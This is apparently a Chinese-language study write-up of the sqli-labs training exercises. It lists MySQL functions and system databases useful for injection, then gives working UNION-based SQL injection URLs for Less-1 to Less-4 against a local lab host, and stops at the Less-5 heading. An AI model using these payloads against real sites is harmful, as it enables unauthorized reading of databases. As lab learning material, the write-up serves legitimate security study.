sqli-labs训练

常用函数

收集一下常用函数

1
2
3
4
5
6
7
8
version()				#MySQL版本
user() #数据库用户名
database() #数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本
system_user() #系统用户名
current_user() #当前用户名
session_user() #连接数据库的用户名

字符串连接函数

1
2
3
concat(str1,str2,...)					#没有分隔符的连接字符串
concat_ws(separator,str1,str2,...) #含有分隔符的连接字符串
group_concat(str1,str2,...) #连接一个组的所有字符串,并以逗号分隔每一条数据

写文件读文件函数

1
2
load_file()			#读取本地文件
into outfile #写文件

MySQL自带数据库

数据库 含义
mysql 存储MySQL服务器正常运行所需要的各种信息 (时区、主从、用户、权限等)
information_schema 提供了访问数据库元数据的各种表和视图,包含数据库、表、字段类型及访问权限等
performance_schema 为MySQL服务器运行时状态提供了一个底层监控功能,主要用于收集数据库服务器性能参数
sys 包含了一系列方便 DBA 和开发人员利用 performance_schema性能数据库进行性能调优和诊断的视图

information_schema用法

逻辑运算符

1
2
3
4
&&或and  与 
||或or 或
!和not 非
XOR 异或

Less-1

提示使用ID参数

image-20220926111436535

测试出单引号报错

1
http://192.168.31.207/sqli/Less-1?id=1'  order by  4--+		#4报错,说明有3个字段
1
http://192.168.31.207/sqli/Less-1?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables --+		#查看所有的表
1
http://192.168.31.207/sqli/Less-1?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = "SCHEMATA"--+		#查询schemata表中所有的列名

Less-2

第二关也是单引号报错

1
2
3
http://192.168.31.207/sqli/Less-2?id=1 and 1=1--+		#正常
http://192.168.31.207/sqli/Less-2?id=1 and 1=12--+ #不正常,说明是数字型注入
http://192.168.31.207/sqli/Less-2?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables--+ #查询所有表名

Less-3

看了源码才知道居然把参数加了括号,那么闭合的时候也要对括号进行闭合,在以前的SQL注入中都没想到过这种方法

1
http://192.168.31.207/sqli/Less-3?id=-1')  union select 1,2,group_concat(table_name) from information_schema.tables--+

Less-4

双引号报错,尝试各种探测语句后,盲猜也使用了括号,所以也加个括号闭合,验证成功。

1
http://192.168.31.207/sqli/Less-4?id=-1")  union select 1,2,group_concat(table_name) from information_schema.tables--+

Less-5